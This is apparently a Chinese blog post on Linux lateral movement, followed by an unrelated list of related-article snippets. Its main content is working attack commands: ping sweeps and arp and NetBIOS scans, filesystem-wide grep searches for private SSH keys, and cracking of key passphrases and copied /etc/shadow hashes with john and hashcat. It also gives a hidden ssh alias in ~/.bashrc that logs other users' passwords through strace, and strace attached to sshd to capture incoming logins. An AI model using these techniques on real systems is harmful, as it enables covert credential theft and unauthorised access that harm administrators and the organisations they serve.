Linux横向移动
Linux横向移动
主机存活探测
shell
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
或者
for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
arpscan
git clone https://github.com/attackdebris/arpscan.git
make
chmod +x arpscan
./arpscan
nbtscan Linux版
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
makenbtscan -h
端口扫描
就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。
常用比如Ladon、fscan等等
https://github.com/k8gege/LadonGo
SSH横向
这个是Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同。
SSH私钥泄露
不了解SSH私钥登录的可以看这篇文章
https://www.runoob.com/w3cnote/set-ssh-login-key.html
一般情况下SSH密钥存放在~/.ssh/
目录下:
id_rsa 为私钥,id_rsa.pub 为公钥
搜索包含SSH密钥的文件:(下面命令不包含隐藏文件,也就是类似**.ssh**目录下的搜索不到)
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
如果找到密钥,则需要确定该密钥用于哪个服务器,关注一下几个文件:
/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history
~/.ssh/config
known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip、远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config
文件中的HashKnownHosts
字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config
文件,这取决于/etc/ssh/ssh_config
文件中的该字段。
修改
/etc/ssh/ssh_config
文件,
HashKnownHosts no
HashKnownHosts yes
通过密钥进行登录,
使用linux机器登录,用-i
指定密钥文件的路径
如果要在Windows上使用的话,例如putty:
使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击 Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。
载入成功后,PuTTYGen 会显示密钥相关的信息。在 Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式。
今后,当你使用 PuTTY 登录时,可以在左侧的 Connection -> SSH -> Auth 中的 Private key file for authentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。
破解SSH密钥
如果发现的 SSH 密钥使用密码加密,则可以在本地破解(更快),可以使用John the Ripper或者hashcat(如果可以访问 GPU,则应利用 hashcat 来缩短破解时间)。
John the Ripper 有一个函数可以将他的密钥转换为一个名为 john2hash.py 的哈希值,并且预先安装在 Kali 上:
转换哈希:
python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
使用综合密码字典爆破:
john --wordlist=/usr/share/wordlists/password.txt id_rsa.hash-john
SSH密码爆破
SSH密码加密存储在/etc/shadow
文件中,可以使用john the raper
或者hashcat
等工具尝试爆破。
shadow文件介绍:
样例:
root:$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1:17938:0:99999:7:::
以冒号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是X 则代表不能登录系统
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
再来解释一下$分割的各个部分的含义:
密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DESqvhlqI7I:盐值
//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1 :hash值
John the rapper破解:
cp /etc/shadow shadow.txt //直接保存shadow文件
unshadow /etc/passwd /etc/shadow >shadow.txt //如果有unshadow的话,也可以把这两个文件整合john --wordlist=pass.txt shadow.txt //利用字典进行破解
john --show shadow.txt //查看破解信息
hashcat破解(大字典推荐使用hashcat):
hashcat的使用可以看这篇文章https://xz.aliyun.com/t/4008
将/etc/shadow文件,提取密码字段保存hash.txt
$6$qvhlqI7I$//0whlOY9i55tzFatxkzafR7n7KA2P2nRh7kMSo82KrGV89ujtSTPEJOQjXsRGpSEFuFKnCT0a0.g92kCstOP1
hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force-m 是指定那种加密类型,1800是SHA-512(Unix)的代号,具体–help来查看;
-a 是指定攻击模式,0代表Straight模式,使用字典进行破解尝试;
-o 是破解出来的信息输出结果文件,输出到found.txt文件中;
hash.txt 是我们上面保存的加密密码文件;
pass.txt 是我们的爆破密码,越大越精越好;
--force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
也可以使用hashcat hash --show
来显示结果
SSH Keylogger记录密码
利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。
//在当前用户的shell环境中定义一个别名
vi ~/.bashrc//在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'//刷新当前的shell环境
source ~/.bashrc
设置完毕后,倘若当前系统不存在alias,那么就会影响其正常使用。
设置完毕后,使用SSH登录其他机器:
然后,查看/tmp/.sshpwd-xxxxx
文件即可找到密码:
strace监听ssh来源流量
刚刚使用别名的方式来抓取登陆其他机器时的密码,同样也可以利用strace来监听登陆本地的sshd流量,抓到别人连入的密码。
应用场景如:通过漏洞获取root权限,但是不知道明文密码。
ps -ef | grep sshd //父进程PID//运行
strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
//或者后台 运行
nohup strace -f -p 811 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048 &
相关文章:

Linux横向移动
Linux横向移动 主机存活探测 shell for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done 或者 for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]" {print $4}; d…...

Ubuntu 20.0 + mysql 8.0 用户和密码修改
第一步 下载(简单,注意联网)Ubuntu 终端输入以下两行命令 (1) 数据库的服务端及客户端数据库的开发软件包 sudo apt-get install mysql-server mysql-client (2) 数据库的开发软件包 sudo apt-get install libmysqlclient-dev 第二步 查看是否安装成功 …...

看懂lscpu的输出
文章目录 1. lscpu1.1 Architecture1.2 逻辑核心数1.3 缓存1.4 CPU型号1.5 NUMA架构1.5.1 CPU多核架构1.5.2 多CPU Socket架构 2. cat /proc/cpuinfo2.1 关键字段 1. lscpu 通过lscpu查看当前系统的CPU信息。 [hadoopserver3 ~]$ lscpuArchitecture: x86_64 …...

RoPE旋转位置编码浅析
RoPE旋转位置编码浅析 本文介绍了旋转位置编码RoPE在大模型中的广泛应用,包括Llama、Mistral 7B、Baichuan、ChatGLM、Qwen、…等。由于计算资源限制,大模型通常在较小的上下文长度中进行训练,导致在推理超出预训练长度时性能显著下降。为了解决这个问题,涌现了许多基于Ro…...

在 SQL Server 中备份和恢复数据库的最佳方法
在SQL Server中,创建备份和执行还原操作对于确保数据完整性、灾难恢复和数据库维护至关重要。以下是备份和恢复过程的概述: 方法 1. 使用 SQL Server Management Studio (SSMS) 备份和还原数据库 按照 SSMS 步骤备份 SQL 数据库 打开 SSMS 并连接到您…...
Java8 根据自定义属性去重
一、需求背景 有一个List集合,里面有n个Answer成员,成员种有m个属性,即: List<Answer> answers ...,现在我需要根据Answer的某一个属性对List去重(属性不固定),应该如何实现呢? 二、解决办法 需要满足上述需求,并不难,我们可以使用Java8提供的…...

Netty网络编程
入门案例 1、服务器端代码 public class HelloServer {public static void main(String[] args) {// 1、启动器,负责装配netty组件,启动服务器new ServerBootstrap()// 2、创建 NioEventLoopGroup,可以简单理解为 线程池 Selector.group(n…...
层三交换机解析(Layer 3 Switch)层3交换机
文章目录 层三交换机解析1. 概述1.1 什么是层三交换机1.2 层三交换机与路由器、二层交换机的比较 2. 层三交换机的工作原理2.1 基于MAC地址的转发2.2 基于IP地址的转发 3. 层三交换机的配置4. 常见问题与解答4.1 我应该使用路由器还是层三交换机?4.2 层三交换机可以…...
expect自动化交互
目录 1. expect作用: 2. expect语言用法: 3. 实例 1. expect作用: 是建立在tcl语言基础上的一个工具,常被用于进行自动化控制和测试,解决shell脚本中交互的相关问题。 2. expect语言用法: spawn开启免…...

探究两个互联网时代的差异,Web 2.0 与 Web 3.0 区别
Web 2.0 的特征 首先我们来了解一下 Web 2.0 的特征都有哪些。 用户生成内容:Web 2.0 时代以用户生成内容为特征,用户可以轻松地在网络上分享、创建和编辑信息。社交媒体平台、博客等网站的兴起使得用户成为信息的创造者,网络逐渐从被动浏览…...

c++基本常见错误总结
我们无论是在学习中还是在工作当中,总是会遇到各种各样的c编译错误问题,经常会有一种情况就是上一次好像遇到过这种问题,但是就是想不起来了(我就是这样)所以下面这一篇文章就是总结自己遇到的编译以及运行错误。 注意…...

鸿蒙原生应用/元服务开发-AGC分发如何生成密钥和和证书请求文件
HarmonyOS通过数字证书(.cer文件)和Profile文件(.p7b文件)等签名信息来保证应用的完整性,应用如需上架到华为应用市场必须通过签名校验。因此,开发者需要使用发布证书和Profile文件对应用进行签名后才能发布…...
Python自动化——driver.switch_to的用法
driver.switch_to的用法 from selenium import webdriver driver webdriver.Chrome(/path/to/chromedriver) # Chrome driver.get(https://www.example.com) # 打开网页 element driver.find_element_by_id(element_id) # 查找元素记得在不需要使用 driver 时,…...
【Java技术专题】「入门到精通系列教程」深入探索Java特性中泛型技术体系的原理和实战开发指南
深入探索Java特性中泛型技术体系的原理和实战开发指南 前提介绍泛型的介绍泛型带来的好处泛型引发的问题错觉:泛型也可以实现多态 泛型的特点类型擦除概念定义案例分析隐患问题开发要点类型擦除的过程案例代码 实例分析类型转换问题 通配符与上下界通配符List<Ob…...
基于Java SSM邮局订报管理系统
尽管电子读物越来越普及,但还是有很多读者对纸质刊物情有独钟,所以邮局的报刊征订业务一直非常受欢迎。邮局订报管理系统就是对客户在邮局订阅报刊进行管理,包括查询报刊、订阅报刊、订阅信息的查询、统计等的处理,系统的主要业务…...

【优选算法系列】【专题一双指针】第四节.15. 三数之和和18. 四数之和
文章目录 前言一、三数之和 1.1 题目描述 1.2 题目解析 1.2.1 算法原理 1.2.2 代码编写 1.2.3 题目总结二、四数之和 2.1 题目描述 2.2 题目解析 2.2.1 算法原理 2.2.2 代码编写 …...

字符集——带你了解UTF-8的前世今生
文章目录 字符集的来历汉字和字母的编码特点Unicode字符集字符集小结编码和解码开发约定 字符集的来历 计算机是美国人发明的,由于计算机能够处理的数据只能是0和1组成的二进制数据,为了让计算机能够处理字符,于是美国人就把他们会用到的每一…...

数据分析工具比较:Excel vs Python vs R
写在开头 在数据分析的世界里,选择合适的工具至关重要。本篇博客将深入比较常用的数据分析工具,包括Excel、Python和R,以帮助读者更好地选择适合自己需求的工具。 1.Excel:经典易用的电子表格 优势: 用户友好&…...

Java基础数据类型
Java有八种基础的数据类型,它们被分为两个主要的类别:原始类型和引用类型。原始类型又被分为四类:整型、浮点型、字符型和布尔型。 整型(Integral Types): 这些类型用于存储整数。它们包括: ○…...

Linux-Linux安装JDK及配置环境 及 遇到的问题
下载linux环境对应的JDK的tar.gz包 配置JDK环境:编辑 sudo vim /etc/profile 在文件的最下方,填写 export JAVA_HOME/usr/local/src/software/jdk1.8 export CLASSPATH.:$JAVA_HOME/lib/tools.jar export PATH$JAVA_HOME/bin:$PATH 执行生效命令&…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
【磁盘】每天掌握一个Linux命令 - iostat
目录 【磁盘】每天掌握一个Linux命令 - iostat工具概述安装方式核心功能基础用法进阶操作实战案例面试题场景生产场景 注意事项 【磁盘】每天掌握一个Linux命令 - iostat 工具概述 iostat(I/O Statistics)是Linux系统下用于监视系统输入输出设备和CPU使…...
django filter 统计数量 按属性去重
在Django中,如果你想要根据某个属性对查询集进行去重并统计数量,你可以使用values()方法配合annotate()方法来实现。这里有两种常见的方法来完成这个需求: 方法1:使用annotate()和Count 假设你有一个模型Item,并且你想…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...

高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...

c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...

均衡后的SNRSINR
本文主要摘自参考文献中的前两篇,相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程,其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线, n r n_r nr 根接收天线的 MIMO 系…...
【Go语言基础【13】】函数、闭包、方法
文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...